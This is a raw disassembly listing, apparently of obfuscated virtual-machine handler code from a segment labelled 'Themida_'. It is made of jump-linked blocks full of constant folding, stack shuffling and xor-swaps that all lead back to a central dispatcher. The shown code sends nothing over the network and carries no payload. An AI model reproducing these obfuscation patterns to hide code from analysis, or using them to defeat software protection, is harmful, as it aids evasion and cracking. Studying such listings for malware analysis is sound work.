mov ecx, 598C5242h
add ecx, 1D10744Bh
push eax
mov eax, 15F72967h
jmp loc_58A498
; ---------------------------------------------------------------------------
loc_58A409: ; CODE XREF: Themida_:005906E0j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push 234Bh
mov [esp], esi
push esp
pop esi
sub esp, 4
mov [esp], ecx
push 4
jmp loc_59207C
; ---------------------------------------------------------------------------
loc_58A436: ; CODE XREF: Themida_:00590BF2j
add edi, 2
push 3B77h
mov [esp], edi
jmp loc_58CCAE
; ---------------------------------------------------------------------------
loc_58A446: ; CODE XREF: Themida_:0058A976j
push ebp
pop edi
push dword ptr [esp]
pop ebp
add esp, 4
push 5323h
mov [esp], edi
jmp loc_58ECD9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4B8Dh
jmp loc_589811
; ---------------------------------------------------------------------------
loc_58A46A: ; CODE XREF: Themida_:005908B2j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A46F: ; CODE XREF: Themida_:0058C67Dj
xor edi, [esp]
jmp loc_5933CD
; ---------------------------------------------------------------------------
loc_58A477: ; CODE XREF: Themida_:00593A44j
pop edx
jmp loc_58FC3D
; ---------------------------------------------------------------------------
loc_58A47D: ; CODE XREF: Themida_:0058FA07j
xchg edx, [esp]
pop esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_58EF97
; ---------------------------------------------------------------------------
loc_58A498: ; CODE XREF: Themida_:0058A404j
xor ecx, eax
pop eax
shr ecx, 4
xor ecx, 40D97098h
push edx
mov edx, 0B910319Eh
add ecx, edx
pop edx
sub ebx, 3D832BB5h
add ebx, ecx
jmp loc_58B776
; ---------------------------------------------------------------------------
loc_58A4BA: ; CODE XREF: Themida_:0058E6C0j
mov ecx, 23F11A13h
jmp loc_58B153
; ---------------------------------------------------------------------------
loc_58A4C4: ; CODE XREF: Themida_:00594AF4j
push edx
jmp loc_58EC5F
; ---------------------------------------------------------------------------
loc_58A4CA: ; CODE XREF: Themida_:00595178j
shr eax, 10h
xor eax, ecx
push eax
push edx
pop eax
mov edx, [esp]
push 788Ch
mov [esp], edx
mov edx, esp
add edx, 4
push ebx
jmp loc_593E2F
; ---------------------------------------------------------------------------
loc_58A4EB: ; CODE XREF: Themida_:0058A8A9j
mov dh, [esp+2]
mov [esp+2], bh
mov bx, [esp]
add esp, 2
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A4FF: ; CODE XREF: Themida_:0058D435j
xchg eax, [esp]
jmp loc_592860
; ---------------------------------------------------------------------------
loc_58A507: ; CODE XREF: Themida_:00593088j
inc edi
inc edi
inc edi
sub edi, 0FBD6AA88h
add ebx, edi
pop edi
xchg ebx, [esp]
pop esp
jmp loc_58DB34
; ---------------------------------------------------------------------------
loc_58A51C: ; CODE XREF: Themida_:005904DFj
xchg ebp, edi
xchg edi, ebx
jmp loc_58E83D
; ---------------------------------------------------------------------------
loc_58A525: ; CODE XREF: Themida_:0058D8E1j
push 63B2h
mov [esp], ebx
mov ebx, esp
push esi
mov esi, 0B4223h
jmp loc_5954EC
; ---------------------------------------------------------------------------
loc_58A53A: ; CODE XREF: Themida_:00592964j
or eax, 39555A42h
add eax, 349E8D42h
mov ecx, eax
pop eax
xor edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_589D13
; ---------------------------------------------------------------------------
loc_58A557: ; CODE XREF: Themida_:00590A19j
push 3175h
mov [esp], ecx
jmp loc_590B9D
; ---------------------------------------------------------------------------
loc_58A564: ; CODE XREF: Themida_:0058BD5Dj
sub esp, 4
mov [esp], ebx
mov ebx, 47A57B27h
push 35FBh
mov [esp], ebp
mov ebp, 225E4AAAh
add ebx, ebp
mov ebp, [esp]
push edx
mov edx, esp
push 65Ch
mov [esp], esi
mov esi, 58EE26BEh
push edi
mov edi, 19FB35C6h
jmp loc_59484E
; ---------------------------------------------------------------------------
loc_58A59C: ; CODE XREF: Themida_:0058D1FBj
push edx
mov edx, 40B16F53h
push ecx
mov ecx, 280204FBh
or ecx, 5FD569FFh
shl ecx, 1
jmp loc_593777
; ---------------------------------------------------------------------------
loc_58A5B5: ; CODE XREF: Themida_:0058E808j
mov [esp], ebx
mov bh, 0E3h
jmp loc_5894DC
; ---------------------------------------------------------------------------
loc_58A5BF: ; CODE XREF: Themida_:0058A879j
mov edi, esp
add edi, 4
add edi, 4
push 7BD9h
jmp loc_58EF48
; ---------------------------------------------------------------------------
loc_58A5D4: ; CODE XREF: Themida_:0058CAD9j
dec edi
xor ecx, edi
jmp loc_591059
; ---------------------------------------------------------------------------
loc_58A5DC: ; CODE XREF: Themida_:0058F974j
push 15EBh
jmp loc_58ED60
; ---------------------------------------------------------------------------
loc_58A5E6: ; CODE XREF: Themida_:00592F9Cj
mov eax, 2B5C7FE7h
shl eax, 6
and eax, 63E569CCh
push edx
mov edx, 69D4789Bh
push ebx
mov ebx, 5ECA2E01h
xor ebx, 2ECF0CD8h
not ebx
shl ebx, 3
add ebx, 3B8E17A6h
sub ebx, 2BDB35BEh
add edx, 75746FA1h
sub edx, ebx
jmp loc_58A099
; ---------------------------------------------------------------------------
loc_58A623: ; CODE XREF: Themida_:0058BBDEj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A637: ; CODE XREF: Themida_:0058FDC0j
sub bl, 0E5h
add bl, 0Fh
sub bl, 16h
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
sub ecx, ebx
jmp loc_58BF54
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
jmp loc_59544C
; ---------------------------------------------------------------------------
loc_58A662: ; CODE XREF: Themida_:0059290Cj
mov [esp], ebp
mov ebp, 262F40F2h
jmp loc_592DB4
; ---------------------------------------------------------------------------
loc_58A66F: ; CODE XREF: Themida_:00589526j
sub edi, ebx
pop ebx
xchg edi, [esp]
pop esp
mov [esp], ax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A67F: ; CODE XREF: Themida_:00591838j
pop esp
and eax, ebp
jmp loc_59111B
; ---------------------------------------------------------------------------
loc_58A687: ; CODE XREF: Themida_:005898E3j
add edx, 160E2FEBh
pop ecx
and eax, edx
pop edx
or eax, eax
jz loc_5897DA
push ebp
mov ebp, esp
push edx
sub esp, 4
mov [esp], ebx
jmp loc_594C89
; ---------------------------------------------------------------------------
loc_58A6AB: ; CODE XREF: Themida_:0058AC40j
mov ebp, [esp]
add esp, 4
jmp loc_595A6A
; ---------------------------------------------------------------------------
loc_58A6B6: ; CODE XREF: Themida_:0058A07Aj
mov [esp], esi
mov esi, esp
sub esp, 4
jmp loc_58C07E
; ---------------------------------------------------------------------------
loc_58A6C3: ; CODE XREF: Themida_:0058CA9Cj
xor edx, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A6D3: ; CODE XREF: Themida_:0058FDD6j
push edi
mov edi, 0A3C340D1h
jmp loc_59546C
; ---------------------------------------------------------------------------
loc_58A6DE: ; CODE XREF: Themida_:00590FC7j
mov [esp], ebx
push edi
mov edi, 4FE636B6h
xchg ebx, edi
jmp loc_58B403
; ---------------------------------------------------------------------------
loc_58A6EE: ; CODE XREF: Themida_:0058BA81j
and al, 55h
xor al, 0CFh
sub bl, al
pop eax
mov al, bl
jmp loc_58F579
; ---------------------------------------------------------------------------
loc_58A6FC: ; CODE XREF: Themida_:005957C9j
mov ebx, esp
jmp loc_592208
; ---------------------------------------------------------------------------
loc_58A703: ; CODE XREF: Themida_:0058EF92j
mov edi, [esp]
push ebx
jmp loc_595B10
; ---------------------------------------------------------------------------
loc_58A70C: ; CODE XREF: Themida_:005901B2j
add ecx, 4
xchg ecx, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
add ax, bp
pop bp
push edx
mov dx, 2CEDh
dec dx
jmp loc_593FEA
; ---------------------------------------------------------------------------
loc_58A733: ; CODE XREF: Themida_:00594871j
add edx, esi
pop esi
jmp loc_58B7F4
; ---------------------------------------------------------------------------
loc_58A73B: ; CODE XREF: Themida_:005953EDj
mov ecx, 3B683F33h
shr ecx, 5
sub ecx, 7BEFF7E2h
add ebp, ecx
pop ecx
add eax, ebp
pop ebp
pop edx
add eax, 2
jmp loc_5918AF
; ---------------------------------------------------------------------------
loc_58A758: ; CODE XREF: Themida_:0059489Bj
xor eax, 0BC88DC7Dh
xor ebx, eax
jmp loc_589525
; ---------------------------------------------------------------------------
mov cx, [esp]
push 400Bh
mov [esp], ebp
push esp
jmp loc_58BEBE
; ---------------------------------------------------------------------------
loc_58A776: ; CODE XREF: Themida_:0058C234j
pop edi
jmp loc_59488A
; ---------------------------------------------------------------------------
loc_58A77C: ; CODE XREF: Themida_:00592DA4j
push eax
mov al, dl
mov cl, al
pop eax
push edx
mov dh, cl
mov bl, dh
mov edx, [esp]
add esp, 4
pop ecx
mov [edi+eax*4+1], bl
pop ebx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A798: ; CODE XREF: Themida_:00593BBFj
sub bl, 4Bh
push ecx
mov cl, 42h
jmp loc_5926C5
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
push 5026h
jmp loc_593D25
; ---------------------------------------------------------------------------
loc_58A7BA: ; CODE XREF: Themida_:00591411j
mov [esp], ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_590AC7
; ---------------------------------------------------------------------------
loc_58A7D4: ; CODE XREF: Themida_:00589C5Fj
xor edx, edx
push 1504h
mov [esp], ebx
xor dword ptr [esp], 4B684E0Bh
jmp loc_592397
; ---------------------------------------------------------------------------
loc_58A7EA: ; CODE XREF: Themida_:0058C8C3j
shr edx, 1
cmp eax, edx
jz loc_5943D3
push ebp
jmp loc_58C688
; ---------------------------------------------------------------------------
loc_58A7FA: ; CODE XREF: Themida_:00590528j
add esi, 454E4DA1h
push edx
mov edx, 536A0C4Ah
dec edx
neg edx
sub edx, 198B6A2Fh
xor edx, 0A840B221h
jmp loc_59375C
; ---------------------------------------------------------------------------
loc_58A81A: ; CODE XREF: Themida_:005906B6j
mov eax, [esp]
jmp loc_590DD0
; ---------------------------------------------------------------------------
loc_58A822: ; CODE XREF: Themida_:005922F9j
pop edx
pop ebx
add esi, 4
xchg esi, [esp]
pop esp
cmp ecx, eax
pushf
jmp loc_58F92E
; ---------------------------------------------------------------------------
loc_58A833: ; CODE XREF: Themida_:0058B482j
pop ecx
pop eax
push ebx
push ebp
push 723B34A5h
jmp loc_590130
; ---------------------------------------------------------------------------
loc_58A841: ; CODE XREF: Themida_:0058B14Ej
mov esi, esp
add esi, 4
jmp loc_58C7CC
; ---------------------------------------------------------------------------
loc_58A84E: ; CODE XREF: Themida_:00592203j
mov eax, [esp]
add esp, 4
jmp loc_5936AE
; ---------------------------------------------------------------------------
loc_58A85C: ; CODE XREF: Themida_:00594281j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_58EB05
; ---------------------------------------------------------------------------
loc_58A871: ; CODE XREF: Themida_:00592866j
add al, cl
jmp loc_58CE3C
; ---------------------------------------------------------------------------
loc_58A878: ; CODE XREF: Themida_:0058F1E8j
push edi
jmp loc_58A5BF
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
sub esp, 4
mov [esp], ebx
jmp loc_58AA8D
; ---------------------------------------------------------------------------
loc_58A893: ; CODE XREF: Themida_:0058F066j
sub edi, 220D1560h
add edi, 0AC19A68Eh
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_58A4EB
; ---------------------------------------------------------------------------
loc_58A8AE: ; CODE XREF: Themida_:00593FF8j
and dx, di
pop di
jmp loc_58B2A6
; ---------------------------------------------------------------------------
loc_58A8B8: ; CODE XREF: Themida_:0058E594j
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58B149
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
sub esp, 4
jmp loc_5908B7
; ---------------------------------------------------------------------------
loc_58A8E1: ; CODE XREF: Themida_:0058B736j
add ebx, 7BD56F9Ch
push edi
mov edi, 681F7DE6h
add ebx, 444E3513h
sub ebx, edi
sub ebx, 444E3513h
pop edi
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_590C9C
; ---------------------------------------------------------------------------
loc_58A910: ; CODE XREF: Themida_:00592540j
xchg ebx, [esp]
mov esp, [esp]
pop eax
mov ebx, [esp]
add esp, 4
and eax, ebp
mov ebp, [esp]
add esp, 4
or edx, eax
jmp loc_58F80B
; ---------------------------------------------------------------------------
loc_58A92F: ; CODE XREF: Themida_:0058E3D3j
sub esp, 4
mov [esp], esi
mov esi, 0A156B63Ch
add eax, esi
pop esi
add ecx, eax
mov eax, [esp]
add esp, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A95E: ; CODE XREF: Themida_:0058FF96j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58A963: ; CODE XREF: Themida_:00594EA4j
xor [esp], edi
xchg ebp, edi
sub esp, 4
mov [esp], ebp
not dword ptr [esp]
pop ebp
push edi
jmp loc_58A446
; ---------------------------------------------------------------------------
loc_58A97B: ; CODE XREF: Themida_:0058F1C5j
pop ebp
push edx
mov edx, 4
jmp loc_594D33
; ---------------------------------------------------------------------------
loc_58A987: ; CODE XREF: Themida_:00591F29j
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_58BB63
; ---------------------------------------------------------------------------
loc_58A991: ; CODE XREF: Themida_:0058D14Cj
xchg ebx, [esp]
mov esp, [esp]
loc_58A997: ; CODE XREF: Themida_:0058D304j
; Themida_:00592E1Dj
push dword ptr [edi+24h]
push dword ptr [esp]
pop ecx
push ebx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebx, [esp]
jmp loc_58C56D
; ---------------------------------------------------------------------------
loc_58A9B8: ; CODE XREF: Themida_:0058C850j
pop eax
shl ebp, 2
add ebp, 757B19C9h
neg ebp
shl ebp, 2
push esi
mov esi, 17794F92h
or ebp, esi
pop esi
add ebp, 88029066h
sub edx, 16EF7F1Eh
add edx, ebp
jmp loc_58E77D
; ---------------------------------------------------------------------------
loc_58A9E3: ; CODE XREF: Themida_:00590569j
push 64C9h
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebp
push edx
push 33FD5050h
pop edx
shl edx, 5
and edx, 69B5DE8h
shl edx, 6
jmp loc_5958A1
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edx
mov dl, 0D9h
neg dl
sub dl, 0D2h
push ecx
jmp loc_589F09
; ---------------------------------------------------------------------------
loc_58AA1D: ; CODE XREF: Themida_:0058B1F6j
pop ebx
add ecx, 733E1EA0h
add ecx, esi
jmp loc_5922AB
; ---------------------------------------------------------------------------
loc_58AA2B: ; CODE XREF: Themida_:0058D225j
mov esi, 4
sub eax, 278B7E5Bh
add eax, esi
jmp loc_5956B8
; ---------------------------------------------------------------------------
loc_58AA3C: ; CODE XREF: Themida_:0058D614j
sub ebx, edx
add ebx, 15B2543Dh
pop edx
add ebx, 0BC0F2Dh
add ebx, 2992211Bh
add ebx, eax
jmp loc_58C24A
; ---------------------------------------------------------------------------
loc_58AA58: ; CODE XREF: Themida_:005931AFj
xor eax, 4E054BD0h
mov ebp, eax
mov eax, [esp]
add esp, 4
push ebx
mov ebx, ebp
push ebx
jmp loc_58FCD4
; ---------------------------------------------------------------------------
loc_58AA6E: ; CODE XREF: Themida_:00592938j
mov ebp, 1646415h
jmp loc_58AECD
; ---------------------------------------------------------------------------
loc_58AA78: ; CODE XREF: Themida_:00592B9Dj
mov ebx, 0
add ebx, edx
push ecx
jmp loc_5904F0
; ---------------------------------------------------------------------------
loc_58AA85: ; CODE XREF: Themida_:005941E2j
xor ebx, [esp]
jmp loc_592140
; ---------------------------------------------------------------------------
loc_58AA8D: ; CODE XREF: Themida_:0058A88Ej
push 4E1Bh
mov [esp], ebp
mov ebp, 730032D5h
inc ebp
jmp loc_58C1A0
; ---------------------------------------------------------------------------
loc_58AAA0: ; CODE XREF: Themida_:0058BAAEj
sub ch, 0Eh
mov dl, ch
mov ecx, [esp]
add esp, 4
sub ch, dl
pop dx
sub al, ch
mov ecx, [esp]
add esp, 4
add al, dh
add al, 0D3h
jmp loc_592CFB
; ---------------------------------------------------------------------------
loc_58AAC3: ; CODE XREF: Themida_:005909B4j
sub bh, al
pop eax
add al, bh
pop ebx
pop ebx
jmp loc_5923BB
; ---------------------------------------------------------------------------
loc_58AACF: ; CODE XREF: Themida_:00594C1Dj
push edi
mov edi, esp
add edi, 4
sub edi, 2
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], cx
mov cl, 45h
sub cl, 3Eh
add bl, 88h
sub bl, 95h
sub bl, cl
add bl, 95h
push ecx
mov ch, 88h
add bl, 0D4h
sub bl, ch
push ax
mov ah, 0D4h
sub bl, ah
pop ax
mov ecx, [esp]
jmp loc_589D30
; ---------------------------------------------------------------------------
xor [esp], edi
jmp loc_594EA1
; ---------------------------------------------------------------------------
loc_58AB1C: ; CODE XREF: Themida_:00592567j
pop esp
mov [esp], eax
mov eax, [esp]
jmp loc_58B748
; ---------------------------------------------------------------------------
loc_58AB28: ; CODE XREF: Themida_:0058C0C9j
add bl, dl
pop edx
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push 0CEEh
mov [esp], edi
jmp loc_5911F2
; ---------------------------------------------------------------------------
loc_58AB42: ; CODE XREF: Themida_:00593859j
pop ecx
add esp, 4
jmp loc_5932AD
; ---------------------------------------------------------------------------
loc_58AB4B: ; CODE XREF: Themida_:0058C58Fj
add ecx, 4CEE3176h
pop ebp
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, 4DCC052Ch
not ebx
sub ebx, 0FFFFFFFFh
add ebx, 21402C81h
push edi
jmp loc_59441E
; ---------------------------------------------------------------------------
loc_58AB75: ; CODE XREF: Themida_:00591562j
mov edx, [esp]
add esp, 4
jmp loc_59021B
; ---------------------------------------------------------------------------
loc_58AB83: ; CODE XREF: Themida_:0058B660j
pop eax
xchg edx, [esp]
mov esp, [esp]
jmp loc_590565
; ---------------------------------------------------------------------------
loc_58AB8F: ; CODE XREF: Themida_:0058C74Cj
add esp, 4
jmp loc_59252D
; ---------------------------------------------------------------------------
loc_58AB9A: ; CODE XREF: Themida_:0058E1ADj
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, 39C3921h
add eax, 6DF632F9h
sub eax, esi
sub eax, 6DF632F9h
mov esi, [esp]
push 6CDDh
jmp loc_59364A
; ---------------------------------------------------------------------------
loc_58ABC8: ; CODE XREF: Themida_:00593D20j
add cl, 1
sub cl, 0Ah
xor cl, 5Bh
xor dh, cl
pop ecx
jmp loc_5956EE
; ---------------------------------------------------------------------------
loc_58ABD9: ; CODE XREF: Themida_:0059350Dj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58ABDE: ; CODE XREF: Themida_:0058BF7Aj
mov dh, ch
mov cx, [esp]
add esp, 2
not dh
shr dh, 3
add dh, 0E1h
add ch, 7
add ch, dh
sub ch, 7
pop edx
jmp loc_5940AF
; ---------------------------------------------------------------------------
loc_58AC00: ; CODE XREF: Themida_:0058BC62j
sub ebp, 4
jmp loc_59067D
; ---------------------------------------------------------------------------
loc_58AC0B: ; CODE XREF: Themida_:0058BFA4j
sub ebx, 14D13B85h
sub ebx, eax
add ebx, 14D13B85h
push ecx
jmp loc_58B041
; ---------------------------------------------------------------------------
loc_58AC1F: ; CODE XREF: Themida_:0059353Aj
pop esp
jmp loc_5943C5
; ---------------------------------------------------------------------------
loc_58AC25: ; CODE XREF: Themida_:0058D643j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ebp
jmp loc_590BFD
; ---------------------------------------------------------------------------
loc_58AC3E: ; CODE XREF: Themida_:0058D686j
mov esi, ebp
jmp loc_58A6AB
; ---------------------------------------------------------------------------
loc_58AC45: ; CODE XREF: Themida_:00595879j
xchg edx, [esp]
pop esp
jmp loc_58FBA5
; ---------------------------------------------------------------------------
loc_58AC4E: ; CODE XREF: Themida_:00592FC7j
sub esp, 4
mov [esp], edx
mov edx, 2
add ebx, edx
pop edx
xchg ebx, [esp]
jmp loc_58E7EA
; ---------------------------------------------------------------------------
loc_58AC64: ; CODE XREF: Themida_:00594F98j
add ebx, 4
add ebx, 4
push 5EC8h
mov [esp], ebx
jmp loc_58C5BC
; ---------------------------------------------------------------------------
loc_58AC7A: ; CODE XREF: Themida_:00589AF0j
push ebx
pop ecx
jmp loc_58FC1D
; ---------------------------------------------------------------------------
loc_58AC81: ; CODE XREF: Themida_:0058DBAAj
push esp
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 54C394Dh
shl ebp, 5
jmp loc_58A22C
; ---------------------------------------------------------------------------
loc_58AC99: ; CODE XREF: Themida_:0058C418j
xor al, 0FEh
add al, 0C8h
shl al, 7
shr al, 4
add al, 60h
push ecx
mov ch, al
jmp loc_589DA7
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
mov edx, esp
push ecx
push ebx
mov ebx, 4DE07861h
jmp loc_5949F9
; ---------------------------------------------------------------------------
loc_58ACC0: ; CODE XREF: Themida_:005922BDj
xor eax, 8FC57FC6h
sub ecx, eax
pop eax
pop esi
xchg ecx, [esp]
jmp loc_59324E
; ---------------------------------------------------------------------------
loc_58ACD1: ; CODE XREF: Themida_:005914A4j
xor ebx, ecx
pop ecx
jmp loc_5904A2
; ---------------------------------------------------------------------------
loc_58ACD9: ; CODE XREF: Themida_:0058B0C9j
mov edx, ebx
pop ebx
push ecx
mov ecx, 767B78B6h
sub eax, ecx
pop ecx
jmp loc_593224
; ---------------------------------------------------------------------------
loc_58ACEA: ; CODE XREF: Themida_:0058F312j
xor edi, 511764FDh
push edx
jmp loc_590A80
; ---------------------------------------------------------------------------
loc_58ACF6: ; CODE XREF: Themida_:005956E9j
add esp, 4
push 3786h
mov [esp], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_58AE24
; ---------------------------------------------------------------------------
loc_58AD18: ; CODE XREF: Themida_:00594F1Ej
push ebx
mov bl, dh
mov cl, bl
pop ebx
mov ah, cl
jmp loc_5934D4
; ---------------------------------------------------------------------------
loc_58AD25: ; CODE XREF: Themida_:0059402Bj
xor ecx, 0EF013FB1h
sub ecx, 0FFFFFFFFh
inc ecx
sub ecx, 0B933D4F2h
sub edi, ecx
pop ecx
mov ecx, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
mov cx, [esp]
push 21C6h
mov [esp], ebp
push 7045h
jmp loc_595551
; ---------------------------------------------------------------------------
loc_58AD5D: ; CODE XREF: Themida_:0058A174j
add ecx, 2
push ecx
push dword ptr [esp+4]
jmp loc_593502
; ---------------------------------------------------------------------------
loc_58AD6A: ; CODE XREF: Themida_:0058FF61j
shl ebp, 5
sub ebp, 664B5C60h
and eax, ebp
jmp loc_594FAB
; ---------------------------------------------------------------------------
loc_58AD7A: ; CODE XREF: Themida_:0059546Ej
pop edi
jmp loc_593472
; ---------------------------------------------------------------------------
loc_58AD80: ; CODE XREF: Themida_:0058B2EAj
pop eax
push dword ptr [esp]
pop edi
push edi
mov edi, esp
push esi
jmp loc_58C834
; ---------------------------------------------------------------------------
loc_58AD8E: ; CODE XREF: Themida_:0058E7E5j
neg ecx
xor ecx, 8041E251h
add edx, ecx
pop ecx
neg edx
xor edx, 0A5AE565Ah
mov ebx, edx
pop edx
push esi
jmp loc_58EFCE
; ---------------------------------------------------------------------------
loc_58ADAA: ; CODE XREF: Themida_:005906C0j
mov bl, ch
pop ecx
pop eax
jmp loc_591F74
; ---------------------------------------------------------------------------
loc_58ADB3: ; CODE XREF: Themida_:00590CB7j
and eax, ebx
pop ebx
or eax, eax
jz loc_59306C
push dword ptr [edi+1Ch]
push edi
mov edi, 31AC112Eh
add [esp+4], edi
pop edi
push dword ptr [esp]
pop ecx
push ecx
jmp loc_58DE3E
; ---------------------------------------------------------------------------
loc_58ADD6: ; CODE XREF: Themida_:00591F81j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push small 2844h
jmp loc_58DC2B
; ---------------------------------------------------------------------------
loc_58ADED: ; CODE XREF: Themida_:00594B94j
mov [esp], ebp
push edi
mov edi, 71AE6B12h
mov ebp, 71AE6B16h
jmp loc_58FC79
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58AE08: ; CODE XREF: Themida_:0058E668j
mov [esp], edx
push 19AB15FFh
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_5935DB
; ---------------------------------------------------------------------------
loc_58AE24: ; CODE XREF: Themida_:0058AD13j
xchg ecx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_594202
; ---------------------------------------------------------------------------
loc_58AE37: ; CODE XREF: Themida_:0058E21Ej
pop esp
jmp loc_5952A6
; ---------------------------------------------------------------------------
loc_58AE3D: ; CODE XREF: Themida_:00589AB6j
xor edx, 541133CBh
jmp loc_58D8C1
; ---------------------------------------------------------------------------
loc_58AE48: ; CODE XREF: Themida_:00594BA8j
sub esp, 4
mov [esp], edi
mov edi, 54AD04B0h
xor eax, edi
jmp loc_594F9D
; ---------------------------------------------------------------------------
loc_58AE5D: ; CODE XREF: Themida_:0059564Fj
add edi, 68187643h
sub edi, 5A8501F3h
push ebp
mov ebp, 15CD477Dh
sub edi, ebp
mov ebp, [esp]
add esp, 4
pop ebx
sub edi, 2
push 674Bh
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_58A01F
; ---------------------------------------------------------------------------
loc_58AE9A: ; CODE XREF: Themida_:00589A95j
add al, bl
sub al, 6Ch
jmp loc_58B2CC
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_593CDC
; ---------------------------------------------------------------------------
loc_58AEB2: ; CODE XREF: Themida_:0058AFDBj
sub al, cl
pop ecx
push edx
jmp loc_58E7F7
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58AEC4: ; CODE XREF: Themida_:0058FFDCj
push esi
mov esi, esp
push eax
jmp loc_58B69F
; ---------------------------------------------------------------------------
loc_58AECD: ; CODE XREF: Themida_:0058AA73j
add ebp, 1D2251A5h
sub ebp, 5CDC36C4h
jmp loc_58EE12
; ---------------------------------------------------------------------------
loc_58AEDE: ; CODE XREF: Themida_:00592A17j
pop esi
add ebx, 770B474Bh
jmp loc_591C15
; ---------------------------------------------------------------------------
loc_58AEEA: ; CODE XREF: Themida_:0058DE8Aj
xor dh, 89h
and ch, dh
pop edx
shl ch, 7
add ch, 52h
sub al, ch
pop ecx
push ecx
push edx
mov dh, 4
jmp loc_58B675
; ---------------------------------------------------------------------------
loc_58AF02: ; CODE XREF: Themida_:0058BB19j
xchg edi, [esp]
pop esp
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_593978
; ---------------------------------------------------------------------------
loc_58AF17: ; CODE XREF: Themida_:0058B45Fj
and ebp, 64A528EFh
shl ebp, 7
sub ebp, 129473FFh
push ebx
mov ebx, 3A6015E8h
add edx, ebx
pop ebx
sub edx, ebp
sub edx, 3A6015E8h
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_58FABA
; ---------------------------------------------------------------------------
loc_58AF48: ; CODE XREF: Themida_:0058D7B8j
push ecx
mov ecx, edi
mov edx, ecx
pop ecx
pop edi
xor esi, edx
pop edx
sub [edi+24h], esi
pop esi
loc_58AF56: ; CODE XREF: Themida_:00590D24j
push 4AF7h
mov [esp], edi
jmp loc_592837
; ---------------------------------------------------------------------------
loc_58AF63: ; CODE XREF: Themida_:0058BEF3j
push edi
jmp loc_5934FC
; ---------------------------------------------------------------------------
loc_58AF69: ; CODE XREF: Themida_:00593441j
pop edi
sub eax, 27DF2133h
add eax, 58D3C8Ah
add eax, edx
sub eax, 58D3C8Ah
push 7C2Dh
mov [esp], edx
jmp loc_58F77E
; ---------------------------------------------------------------------------
loc_58AF88: ; CODE XREF: Themida_:0058FC38j
add eax, ecx
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
mov cx, [esp]
push 19F9h
mov [esp], ecx
jmp loc_592460
; ---------------------------------------------------------------------------
loc_58AFA8: ; CODE XREF: Themida_:0058C798j
dec edi
sub edi, 0B3DB87D5h
xor ecx, edi
pop edi
inc ecx
push eax
mov eax, 1EA63E5Ah
xor ecx, eax
pop eax
add esi, ecx
pop ecx
jmp loc_58F473
; ---------------------------------------------------------------------------
loc_58AFC4: ; CODE XREF: Themida_:0058F340j
sub al, 0C4h
push 395h
mov [esp], ecx
push 1571h
mov [esp], eax
mov al, 0Fh
mov cl, al
pop eax
jmp loc_58AEB2
; ---------------------------------------------------------------------------
loc_58AFE0: ; CODE XREF: Themida_:0058EC3Aj
mov esi, esp
add esi, 4
sub esi, 2
xchg esi, [esp]
mov esp, [esp]
mov [esp], cx
push small word ptr [esp+2]
mov cx, [esp]
push edi
mov edi, esp
jmp loc_589A80
; ---------------------------------------------------------------------------
